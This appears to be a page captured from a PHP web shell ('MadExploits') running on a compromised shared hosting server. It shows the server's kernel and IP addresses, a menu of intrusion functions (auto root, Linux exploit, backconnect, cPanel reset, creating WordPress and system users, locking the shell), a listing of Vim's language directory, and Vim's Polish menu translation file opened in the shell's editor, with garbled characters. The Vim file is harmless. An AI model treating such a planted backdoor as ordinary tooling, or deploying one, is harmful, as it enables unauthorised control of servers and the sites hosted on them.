Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
vim /
vim80 /
lang /
[ HOME SHELL ]
Name
Size
Permission
Action
af
[ DIR ]
drwxr-xr-x
ca
[ DIR ]
drwxr-xr-x
cs
[ DIR ]
drwxr-xr-x
cs.cp1250
[ DIR ]
drwxr-xr-x
de
[ DIR ]
drwxr-xr-x
en_GB
[ DIR ]
drwxr-xr-x
eo
[ DIR ]
drwxr-xr-x
es
[ DIR ]
drwxr-xr-x
fi
[ DIR ]
drwxr-xr-x
fr
[ DIR ]
drwxr-xr-x
ga
[ DIR ]
drwxr-xr-x
it
[ DIR ]
drwxr-xr-x
ja
[ DIR ]
drwxr-xr-x
ja.euc-jp
[ DIR ]
drwxr-xr-x
ja.sjis
[ DIR ]
drwxr-xr-x
ko
[ DIR ]
drwxr-xr-x
ko.UTF-8
[ DIR ]
drwxr-xr-x
lv
[ DIR ]
drwxr-xr-x
nb
[ DIR ]
drwxr-xr-x
nl
[ DIR ]
drwxr-xr-x
no
[ DIR ]
drwxr-xr-x
pl
[ DIR ]
drwxr-xr-x
pl.UTF-8
[ DIR ]
drwxr-xr-x
pl.cp1250
[ DIR ]
drwxr-xr-x
pt_BR
[ DIR ]
drwxr-xr-x
ru
[ DIR ]
drwxr-xr-x
ru.cp1251
[ DIR ]
drwxr-xr-x
sk
[ DIR ]
drwxr-xr-x
sk.cp1250
[ DIR ]
drwxr-xr-x
sr
[ DIR ]
drwxr-xr-x
sv
[ DIR ]
drwxr-xr-x
uk
[ DIR ]
drwxr-xr-x
uk.cp1251
[ DIR ]
drwxr-xr-x
vi
[ DIR ]
drwxr-xr-x
zh_CN
[ DIR ]
drwxr-xr-x
zh_CN.UTF-8
[ DIR ]
drwxr-xr-x
zh_CN.cp936
[ DIR ]
drwxr-xr-x
zh_TW
[ DIR ]
drwxr-xr-x
zh_TW.UTF-8
[ DIR ]
drwxr-xr-x
README.txt
1.91
KB
-rw-r--r--
menu_af.latin1.vim
73
B
-rw-r--r--
menu_af.utf-8.vim
92
B
-rw-r--r--
menu_af_af.latin1.vim
5.39
KB
-rw-r--r--
menu_af_af.utf-8.vim
92
B
-rw-r--r--
menu_ca.latin1.vim
75
B
-rw-r--r--
menu_ca.utf-8.vim
153
B
-rw-r--r--
menu_ca_es.latin1.vim
13.77
KB
-rw-r--r--
menu_ca_es.utf-8.vim
153
B
-rw-r--r--
menu_chinese(gb)_gb.936.vim
270
B
-rw-r--r--
menu_chinese(taiwan)_taiwan.95...
284
B
-rw-r--r--
menu_chinese_gb.936.vim
10.21
KB
-rw-r--r--
menu_chinese_taiwan.950.vim
12.46
KB
-rw-r--r--
menu_cs.cp1250.vim
82
B
-rw-r--r--
menu_cs.latin1.vim
82
B
-rw-r--r--
menu_cs_cz.cp1250.vim
82
B
-rw-r--r--
menu_cs_cz.iso_8859-2.vim
12.6
KB
-rw-r--r--
menu_cs_cz.latin1.vim
83
B
-rw-r--r--
menu_cs_cz.utf-8.vim
12.95
KB
-rw-r--r--
menu_czech_czech_republic.1250...
12.6
KB
-rw-r--r--
menu_czech_czech_republic.1252...
113
B
-rw-r--r--
menu_czech_czech_republic.asci...
12.61
KB
-rw-r--r--
menu_de.latin1.vim
94
B
-rw-r--r--
menu_de.utf-8.vim
89
B
-rw-r--r--
menu_de_de.latin1.vim
13.27
KB
-rw-r--r--
menu_de_de.utf-8.vim
89
B
-rw-r--r--
menu_en_gb.latin1.vim
484
B
-rw-r--r--
menu_en_gb.utf-8.vim
74
B
-rw-r--r--
menu_english_united_kingdom.12...
84
B
-rw-r--r--
menu_english_united_kingdom.as...
84
B
-rw-r--r--
menu_eo.utf-8.vim
17.39
KB
-rw-r--r--
menu_eo_eo.utf-8.vim
88
B
-rw-r--r--
menu_eo_xx.utf-8.vim
88
B
-rw-r--r--
menu_es.latin1.vim
71
B
-rw-r--r--
menu_es.utf-8.vim
90
B
-rw-r--r--
menu_es_es.latin1.vim
13.47
KB
-rw-r--r--
menu_es_es.utf-8.vim
90
B
-rw-r--r--
menu_fi.latin1.vim
92
B
-rw-r--r--
menu_fi.utf-8.vim
90
B
-rw-r--r--
menu_fi_fi.latin1.vim
17.39
KB
-rw-r--r--
menu_fi_fi.utf-8.vim
90
B
-rw-r--r--
menu_finnish_finland.1252.vim
106
B
-rw-r--r--
menu_fr.latin1.vim
94
B
-rw-r--r--
menu_fr.utf-8.vim
89
B
-rw-r--r--
menu_fr_fr.latin1.vim
18.06
KB
-rw-r--r--
menu_fr_fr.utf-8.vim
89
B
-rw-r--r--
menu_french_france.1252.vim
105
B
-rw-r--r--
menu_german_germany.1252.vim
105
B
-rw-r--r--
menu_hu.iso_8859-2.vim
94
B
-rw-r--r--
menu_hu.utf-8.vim
89
B
-rw-r--r--
menu_hu_hu.iso_8859-2.vim
11.13
KB
-rw-r--r--
menu_hu_hu.utf-8.vim
10.59
KB
-rw-r--r--
menu_it.latin1.vim
71
B
-rw-r--r--
menu_it.utf-8.vim
90
B
-rw-r--r--
menu_it_it.latin1.vim
12.57
KB
-rw-r--r--
menu_it_it.utf-8.vim
90
B
-rw-r--r--
menu_italian_italy.1252.vim
82
B
-rw-r--r--
menu_ja.cp932.vim
292
B
-rw-r--r--
menu_ja.euc-jp.vim
347
B
-rw-r--r--
menu_ja.eucjp.vim
347
B
-rw-r--r--
menu_ja.ujis.vim
346
B
-rw-r--r--
menu_ja.utf-8.vim
135
B
-rw-r--r--
menu_ja_jp.cp932.vim
292
B
-rw-r--r--
menu_ja_jp.euc-jp.vim
12.06
KB
-rw-r--r--
menu_ja_jp.eucjp.vim
346
B
-rw-r--r--
menu_ja_jp.ujis.vim
346
B
-rw-r--r--
menu_ja_jp.utf-8.vim
13.38
KB
-rw-r--r--
menu_japanese_japan.932.vim
12.06
KB
-rw-r--r--
menu_ko.utf-8.vim
69
B
-rw-r--r--
menu_ko_kr.euckr.vim
10.26
KB
-rw-r--r--
menu_ko_kr.utf-8.vim
11.08
KB
-rw-r--r--
menu_ko_kr.vim
146
B
-rw-r--r--
menu_nl.latin1.vim
74
B
-rw-r--r--
menu_nl.utf-8.vim
93
B
-rw-r--r--
menu_nl_nl.latin1.vim
10.25
KB
-rw-r--r--
menu_nl_nl.utf-8.vim
93
B
-rw-r--r--
menu_no.latin1.vim
125
B
-rw-r--r--
menu_no.utf-8.vim
143
B
-rw-r--r--
menu_no_no.latin1.vim
10.5
KB
-rw-r--r--
menu_no_no.utf-8.vim
146
B
-rw-r--r--
menu_pl.cp1250.vim
76
B
-rw-r--r--
menu_pl_pl.cp1250.vim
76
B
-rw-r--r--
menu_pl_pl.iso_8859-2.vim
12
KB
-rw-r--r--
menu_pl_pl.utf-8.vim
12.2
KB
-rw-r--r--
menu_polish_poland.1250.vim
11.99
KB
-rw-r--r--
menu_pt_br.latin1.vim
67
B
-rw-r--r--
menu_pt_br.utf-8.vim
86
B
-rw-r--r--
menu_pt_br.vim
11.8
KB
-rw-r--r--
menu_pt_pt.latin1.vim
66
B
-rw-r--r--
menu_pt_pt.utf-8.vim
66
B
-rw-r--r--
menu_pt_pt.vim
10.89
KB
-rw-r--r--
menu_ru.utf-8.vim
64
B
-rw-r--r--
menu_ru_ru.koi8-r.vim
13.2
KB
-rw-r--r--
menu_ru_ru.utf-8.vim
64
B
-rw-r--r--
menu_ru_ru.vim
16.35
KB
-rw-r--r--
menu_sk.cp1250.vim
88
B
-rw-r--r--
menu_sk_sk.1250.vim
217
B
-rw-r--r--
menu_sk_sk.cp1250.vim
88
B
-rw-r--r--
menu_sk_sk.iso_8859-2.vim
9.86
KB
-rw-r--r--
menu_sk_sk.vim
216
B
-rw-r--r--
menu_sl_si.cp1250.vim
12.86
KB
-rw-r--r--
menu_sl_si.latin2.vim
12.81
KB
-rw-r--r--
menu_sl_si.utf-8.vim
12.99
KB
-rw-r--r--
menu_slovak_slovak_republic.12...
9.85
KB
-rw-r--r--
menu_spanish_spain.850.vim
41
B
-rw-r--r--
menu_sr.utf-8.vim
70
B
-rw-r--r--
menu_sr_rs.ascii.vim
12.58
KB
-rw-r--r--
menu_sr_rs.iso_8859-2.vim
12.59
KB
-rw-r--r--
menu_sr_rs.iso_8859-5.vim
12.56
KB
-rw-r--r--
menu_sr_rs.utf-8.vim
15.48
KB
-rw-r--r--
menu_sr_yu.ascii.vim
70
B
-rw-r--r--
menu_sr_yu.iso_8859-2.vim
75
B
-rw-r--r--
menu_sr_yu.iso_8859-5.vim
75
B
-rw-r--r--
menu_sr_yu.utf-8.vim
70
B
-rw-r--r--
menu_sv.latin1.vim
71
B
-rw-r--r--
menu_sv.utf-8.vim
90
B
-rw-r--r--
menu_sv_se.latin1.vim
10.41
KB
-rw-r--r--
menu_sv_se.utf-8.vim
90
B
-rw-r--r--
menu_uk_ua.cp1251.vim
10.03
KB
-rw-r--r--
menu_uk_ua.koi8-u.vim
10.03
KB
-rw-r--r--
menu_vi_vn.vim
13.76
KB
-rw-r--r--
menu_zh.big5.vim
89
B
-rw-r--r--
menu_zh.cp936.vim
98
B
-rw-r--r--
menu_zh.cp950.vim
89
B
-rw-r--r--
menu_zh.gb2312.vim
96
B
-rw-r--r--
menu_zh_cn.18030.vim
82
B
-rw-r--r--
menu_zh_cn.cp936.vim
98
B
-rw-r--r--
menu_zh_cn.gb2312.vim
10.4
KB
-rw-r--r--
menu_zh_cn.gbk.vim
82
B
-rw-r--r--
menu_zh_cn.utf-8.vim
10.96
KB
-rw-r--r--
menu_zh_tw.big5.vim
89
B
-rw-r--r--
menu_zh_tw.cp950.vim
89
B
-rw-r--r--
menu_zh_tw.utf-8.vim
13.26
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : menu_pl_pl.iso_8859-2.vim
" Menu Translations: Polish " Maintainer: Mikolaj Machowski ( mikmach AT wp DOT pl ) " Initial Translation: Marcin Dalecki <martin@dalecki.de> " Last Change: 17 May 2010 " Quit when menu translations have already been done. if exists("did_menu_trans") finish endif let did_menu_trans = 1 let s:keepcpo= &cpo set cpo&vim scriptencoding iso-8859-2 " Help menu menutrans &Help Po&moc menutrans &Overview<Tab><F1> &Og�lnie<Tab><F1> menutrans &User\ Manual Podr�cznik\ &u�ytkownika menutrans &How-to\ links &Odno�niki\ JTZ menutrans &Find\.\.\. &Szukaj\.\.\. menutrans &Credits Po&dzi�kowania menutrans Co&pying &Kopiowanie menutrans &Sponsor/Register &Sponsorowanie/Rejestracja menutrans O&rphans Sie&roty menutrans &Version &Wersja menutrans &About o\ &Programie " File menu menutrans &File &Plik menutrans &Open\.\.\.<Tab>:e &Otw�rz\.\.\.<Tab>:e menutrans Sp&lit-Open\.\.\.<Tab>:sp Otw�rz\ z\ &podzia�em\.\.\.<Tab>:sp menutrans &New<Tab>:enew &Nowy<Tab>:enew menutrans &Close<Tab>:close &Zamknij<Tab>:close menutrans &Save<Tab>:w Za&pisz<Tab>:w menutrans Save\ &As\.\.\.<Tab>:sav Zapisz\ &jako\.\.\.<Tab>:sav menutrans Split\ &Diff\ with\.\.\. Podziel\ na\ diff-a\ mi�dzy\.\.\. menutrans Split\ Patched\ &By\.\.\. Podziel\ �atane\ przez\.\.\. menutrans &Print &Drukuj menutrans Sa&ve-Exit<Tab>:wqa W&yj�cie\ z\ zapisem<Tab>:wqa menutrans E&xit<Tab>:qa &Wyj�cie<Tab>:qa menutrans Open\ Tab\.\.\.<Tab>:tabnew Otw�rz\ &kart�\.\.\.<Tab>:tabnew " Edit menu menutrans &Edit &Edycja menutrans &Undo<Tab>u &Cofnij<Tab>u menutrans &Redo<Tab>^R &Pon�w<Tab>^R menutrans Rep&eat<Tab>\. P&owt�rz<Tab>\. menutrans Cu&t<Tab>"+x W&ytnij<Tab>"+x menutrans &Copy<Tab>"+y &Kopiuj<Tab>"+y menutrans &Paste<Tab>"+gP &Wklej<Tab>"+gP menutrans Put\ &Before<Tab>[p Wstaw\ p&rzed<Tab>[p menutrans Put\ &After<Tab>]p Wstaw\ p&o<Tab>]p menutrans &Select\ All<Tab>ggVG Z&aznacz\ ca�o��<Tab>ggVG menutrans &Find\.\.\. &Szukaj\.\.\. menutrans &Find<Tab>/ &Szukaj<Tab>/ menutrans Find\ and\ Rep&lace\.\.\. &Zamie�\.\.\. menutrans Find\ and\ Rep&lace<Tab>:%s &Zamie�<Tab>:%s menutrans Find\ and\ Rep&lace &Zamie� menutrans Find\ and\ Rep&lace<Tab>:s &Zamie�<Tab>:s menutrans Options\.\.\. Opcje\.\.\. menutrans Settings\ &Window Ustawienia menutrans &Global\ Settings Ustawienia\ &globalne menutrans Startup\ &Settings Ustawienia\ &startowe menutrans F&ile\ Settings Ustawienia\ dla\ pliku menutrans Toggle\ Line\ &Numbering<Tab>:set\ nu! &Numerowanie\ wierszy<Tab>:set\ nu! menutrans Toggle\ &List\ Mode<Tab>:set\ list! Tryb\ &listowania<Tab>:set\ list! menutrans Toggle\ Line\ &Wrap<Tab>:set\ wrap! Za&wijanie\ wierszy<Tab>:set\ wrap! menutrans Toggle\ W&rap\ at\ word<Tab>:set\ lbr! �amanie\ wie&rsza<Tab>:set\ lbr! menutrans Toggle\ &expand-tab<Tab>:set\ et! Rozwijani&e\ tabulator�w<Tab>:set\ et! menutrans Toggle\ &auto-indent<Tab>:set\ ai! &Automatyczne\ wci�cia<Tab>:set\ ai! menutrans Toggle\ &C-indenting<Tab>:set\ cin! Wci�cia\ &C<Tab>:set\ cin! menutrans &Shiftwidth &Szeroko��\ wci�cia menutrans Te&xt\ Width\.\.\. D�ugo��\ linii\.\.\. menutrans &File\ Format\.\.\. &Format\ pliku\.\.\. menutrans Soft\ &Tabstop Rozmiar\ &tabulacji menutrans C&olor\ Scheme Zestawy\ kolor�w menutrans &Keymap Uk�ady\ klawiatury menutrans None �aden menutrans accents akcenty menutrans hebrew hebrajski menutrans hebrewp hebrajski\ p menutrans russian-jcuken rosyjski-jcuken menutrans russian-jcukenwin rosyjski-jcukenwin menutrans Toggle\ Pattern\ &Highlight<Tab>:set\ hls! Pod�wietlanie\ &wzorc�w<Tab>:set\ hls! menutrans Toggle\ &Ignore-case<Tab>:set\ ic! &Ignorowanie\ wielko�ci<Tab>:set\ ic! menutrans Toggle\ &Showmatch<Tab>:set\ sm! &Pokazywanie\ pasuj�cych<Tab>:set\ sm! menutrans &Context\ lines Wiersze\ &kontekstowe menutrans &Virtual\ Edit Edycja\ &wirtualna menutrans Never Nigdy menutrans Block\ Selection Zaznaczanie\ blokowe menutrans Insert\ mode Tryb\ wprowadzania menutrans Toggle\ Vi\ C&ompatible<Tab>:set\ cp! Tryb\ zg&odno�ci\ z\ Vi<Tab>:set\ cp! menutrans Block\ and\ Insert Blokowe\ i\ wprowadzanie menutrans Always Zawsze menutrans Toggle\ Insert\ &Mode<Tab>:set\ im! Tryb\ wprowadzania<Tab>:set\ im! menutrans Search\ &Path\.\.\. Scie�ka\ poszukiwania\.\.\. menutrans Ta&g\ Files\.\.\. Pliki\ tag�w\.\.\. " " GUI options menutrans Toggle\ &Toolbar Pasek\ narz�dzi menutrans Toggle\ &Bottom\ Scrollbar Dolny\ przewijacz menutrans Toggle\ &Left\ Scrollbar &Lewy\ przewijacz menutrans Toggle\ &Right\ Scrollbar P&rawy\ przewijacz " Programming menu menutrans &Tools &Narz�dzia menutrans &Jump\ to\ this\ tag<Tab>g^] &Skocz\ do\ taga<Tab>g^] menutrans Jump\ &back<Tab>^T Skok\ w\ &ty�<Tab>^T menutrans Build\ &Tags\ File &Tw�rz\ plik\ tag�w " Spelling menutrans &Spelling Pi&sownia menutrans &Spell\ Check\ On W��cz menutrans Spell\ Check\ &Off Wy��cz menutrans To\ &Next\ error<Tab>]s Do\ &nast�pnego\ b��du<Tab>]s menutrans To\ &Previous\ error<Tab>[s Do\ &poprzedniego\ b��du<Tab>[s menutrans Suggest\ &Corrections<Tab>z= Sugestie\ poprawek<Tab>z= menutrans &Repeat\ correction<Tab>:spellrepall Powt�r&z\ poprawk�<Tab>:spellrepall menutrans Set\ language\ to\ "en" Ustaw\ j�zyk\ na\ "en" menutrans Set\ language\ to\ "en_au" Ustaw\ j�zyk\ na\ "en_au" menutrans Set\ language\ to\ "en_ca" Ustaw\ j�zyk\ na\ "en_ca" menutrans Set\ language\ to\ "en_gb" Ustaw\ j�zyk\ na\ "en_gb" menutrans Set\ language\ to\ "en_nz" Ustaw\ j�zyk\ na\ "en_nz" menutrans Set\ language\ to\ "en_us" Ustaw\ j�zyk\ na\ "en_us" menutrans Set\ language\ to\ "pl" Ustaw\ j�zyk\ na\ "pl" menutrans &Find\ More\ Languages &Znajd�\ wi�cej\ j�zyk�w " Folding menutrans &Folding &Zwijanie menutrans &Enable/Disable\ folds<Tab>zi &Zwi�/rozwi�<Tab>zi menutrans &View\ Cursor\ Line<Tab>zv &Linia\ kursora<Tab>zv menutrans Vie&w\ Cursor\ Line\ only<Tab>zMzx &Tylko\ linia\ kursora<Tab>zMzx menutrans C&lose\ more\ folds<Tab>zm Zwi�\ wi�cej<Tab>zm menutrans &Close\ all\ folds<Tab>zM Z&wi�\ wszystkie<Tab>zM menutrans &Open\ all\ folds<Tab>zR Rozwi�\ wszystkie<Tab>zR menutrans O&pen\ more\ folds<Tab>zr R&ozwi�\ wi�cej<Tab>zr menutrans Create\ &Fold<Tab>zf T&w�rz\ zawini�cie<Tab>zf menutrans &Delete\ Fold<Tab>zd U&su�\ zawini�cie<Tab>zd menutrans Delete\ &All\ Folds<Tab>zD &Usu�\ wszystkie\ zawini�cia<Tab>zD menutrans Fold\ column\ &width Szeroko��\ kolumny\ za&wini�� menutrans Fold\ Met&hod Me&toda\ zawijania menutrans M&anual &R�cznie menutrans I&ndent W&ci�cie menutrans E&xpression W&yra�enie menutrans S&yntax S&k�adnia menutrans Ma&rker Zn&acznik " Diff menutrans &Update &Od�wie� menutrans &Get\ Block &Pobierz\ blok menutrans &Put\ Block &Wstaw\ blok " Make and stuff... menutrans &Make<Tab>:make M&ake<Tab>:make menutrans &List\ Errors<Tab>:cl &Poka�\ b��dy<Tab>:cl menutrans L&ist\ Messages<Tab>:cl! W&ylicz\ powiadomienia<Tab>:cl! menutrans &Next\ Error<Tab>:cn &Nast�pny\ b��d<Tab>:cn menutrans &Previous\ Error<Tab>:cp &Poprzedni\ b��d<Tab>:cp menutrans &Older\ List<Tab>:cold &Starsza\ lista<Tab>:cold menutrans N&ewer\ List<Tab>:cnew N&owsza\ lista<Tab>:cnew menutrans Error\ &Window Okno\ b��d�&w menutrans &Update<Tab>:cwin Akt&ualizuj<Tab>:cwin menutrans &Close<Tab>:cclose &Zamknij<Tab>:cclose menutrans &Open<Tab>:copen &Otw�rz<Tab>:copen menutrans Se&T\ Compiler U&staw\ kompilator menutrans &Convert\ to\ HEX<Tab>:%!xxd Kody\ szesnastkowe<Tab>:%!xxd menutrans Conve&rt\ back<Tab>:%!xxd\ -r Zwyk�y\ tekst<Tab>:%!xxd\ -r " Names for buffer menu. menutrans &Buffers &Bufory menutrans &Refresh\ menu &Od�wie� menutrans &Delete &Skasuj menutrans &Alternate &Zmie� menutrans &Next &Nast�pny menutrans &Previous &Poprzedni menutrans [No\ File] [Brak\ Pliku] " Window menu menutrans &Window &Widoki menutrans &New<Tab>^Wn &Nowy<Tab>^Wn menutrans S&plit<Tab>^Ws Po&dziel<Tab>^Ws menutrans Sp&lit\ To\ #<Tab>^W^^ P&odziel\ na\ #<Tab>^W^^ menutrans Split\ &Vertically<Tab>^Wv Podziel\ pionowo<Tab>^Wv menutrans Split\ File\ E&xplorer Otw�rz\ mened�er\ plik�w menutrans &Close<Tab>^Wc &Zamknij<Tab>^Wc menutrans Close\ &Other(s)<Tab>^Wo Zamknij\ &inne<Tab>^Wo menutrans Ne&xt<Tab>^Ww &Nast�pny<Tab>^Ww menutrans P&revious<Tab>^WW &Poprzedni<Tab>^WW menutrans &Equal\ Size<Tab>^W= &Wyr�wnaj\ wysoko�ci<Tab>^W= menutrans &Max\ Height<Tab>^W_ Z&maksymalizuj\ wysoko��<Tab>^W_ menutrans M&in\ Height<Tab>^W1_ Zminim&alizuj\ wysoko��<Tab>^W1_ menutrans Max\ Width<Tab>^W\| Maksymalna\ szeroko��<Tab>^W\| menutrans Min\ Width<Tab>^W1\| Minimalna\ szeroko��<Tab>^W1\| menutrans Max\ &Width<Tab>^W\| Zmaksymalizuj\ szeroko��<Tab>^W\| menutrans Min\ Widt&h<Tab>^W1\| Zminimalizuj\ szeroko��<Tab>^W1\| menutrans Move\ &To &Id�\ do menutrans &Top<Tab>^WK &G�ra<Tab>^WK menutrans &Bottom<Tab>^WJ &D�<Tab>^WJ menutrans &Left\ side<Tab>^WH &Lewa\ strona<Tab>^WH menutrans &Right\ side<Tab>^WL &Prawa\ strona<Tab>^WL menutrans Rotate\ &Up<Tab>^WR Obr��\ w\ &g�r�<Tab>^WR menutrans Rotate\ &Down<Tab>^Wr Obr��\ w\ &d�<Tab>^Wr menutrans Split\ &Vertically<Tab>^Wv &Podziel\ w\ poziomie<Tab>^Wv menutrans Select\ Fo&nt\.\.\. Wybierz\ &czcionk�\.\.\. " The popup menu menutrans &Undo &Cofnij menutrans Cu&t W&ytnij menutrans &Copy &Kopiuj menutrans &Paste &Wklej menutrans &Delete &Skasuj menutrans Select\ Blockwise Zaznacz\ &blok menutrans Select\ &Sentence Zaznacz\ &zdanie menutrans Select\ Pa&ragraph Zaznacz\ aka&pit menutrans Select\ &Word Zaznacz\ &s�owo menutrans Select\ &Line Zaznacz\ w&iersz menutrans Select\ &Block Zaznacz\ &blok menutrans Select\ &All Zaznacz\ c&a�o�� menutrans Input\ &Methods Wprowadza&nie " The GUI toolbar if has("toolbar") if exists("*Do_toolbar_tmenu") delfun Do_toolbar_tmenu endif fun Do_toolbar_tmenu() tmenu ToolBar.Open Otw�rz plik tmenu ToolBar.Save Zapisz bie��cy plik tmenu ToolBar.SaveAll Zapisz wszystkie pliki tmenu ToolBar.Print Drukuj tmenu ToolBar.Undo Cofnij tmenu ToolBar.Redo Pon�w tmenu ToolBar.Cut Wytnij tmenu ToolBar.Copy Skopiuj tmenu ToolBar.Paste Wklej tmenu ToolBar.Find Szukaj... tmenu ToolBar.FindNext Szukaj nast�pnego tmenu ToolBar.FindPrev Szukaj poprzedniego tmenu ToolBar.Replace Szukaj i zamieniaj... if 0 " disabled; These are in the Windows menu tmenu ToolBar.New Nowy widok tmenu ToolBar.WinSplit Podziel widok tmenu ToolBar.WinMax Zmaksymalizuj widok tmenu ToolBar.WinMin Zminimalizuj widok tmenu ToolBar.WinClose Zamknij widok endif tmenu ToolBar.LoadSesn Za�aduj sesj� tmenu ToolBar.SaveSesn Zachowaj bie��c� sesj� tmenu ToolBar.RunScript Uruchom skrypt Vima tmenu ToolBar.Make Wykonaj bie��cy projekt tmenu ToolBar.Shell Otw�rz pow�ok� tmenu ToolBar.RunCtags Tw�rz tagi w bie��cym katalogu tmenu ToolBar.TagJump Skok do taga pod kursorem tmenu ToolBar.Help Pomoc Vima tmenu ToolBar.FindHelp Przeszukuj pomoc Vim-a endfun endif " Syntax menu menutrans &Syntax &Sk�adnia menutrans &Show\ filetypes\ in\ menu Poka�\ typy\ &plik�w\ w\ menu menutrans Set\ '&syntax'\ only Ustaw\ tylko\ '&syntax' menutrans Set\ '&filetype'\ too Ustaw\ r�wnie�\ '&filetype' menutrans &Off &Wy��cz menutrans &Manual &R�cznie menutrans A&utomatic A&utomatyczne menutrans on/off\ for\ &This\ file w��cz/w&y��cz\ dla\ pliku menutrans Co&lor\ test Test\ &kolor�w menutrans &Highlight\ test &Test\ pod�wietlania menutrans &Convert\ to\ HTML Przetw�rz\ na\ &HTML " dialog texts let menutrans_no_file = "[Brak pliku]" let menutrans_help_dialog = "Wprowad� komend� lub s�owo, aby otrzyma� pomoc o:\n\nPrzedrostek i_ oznacza komend� trybu Wprowadzania (np. i_CTRL-X)\nPrzedrostek c_ oznacza komend� edycji wiersza komend (np. c_<Del>)\nPrzedrostek ' oznacza nazw� opcji (np. 'shiftwidth')" let g:menutrans_path_dialog = "Wprowad� �cie�k� poszukiwania plik�w.\nProsz� rozdziela� nazwy katalog�w przecinkiem." let g:menutrans_tags_dialog = "Podaj nazwy plik�w tag�w.\nProsz� rozdziela� nazwy przecinkiem." let g:menutrans_textwidth_dialog = "Wprowad� now� szeroko�� tekstu (0 wy��cza przewijanie): " let g:menutrans_fileformat_dialog = "Wybierz format w kt�rym ten plik ma by� zapisany" let g:menutrans_fileformat_choices = "&Unix\n&Dos\n&Mac\n&Anuluj" let &cpo = s:keepcpo unlet s:keepcpo
Close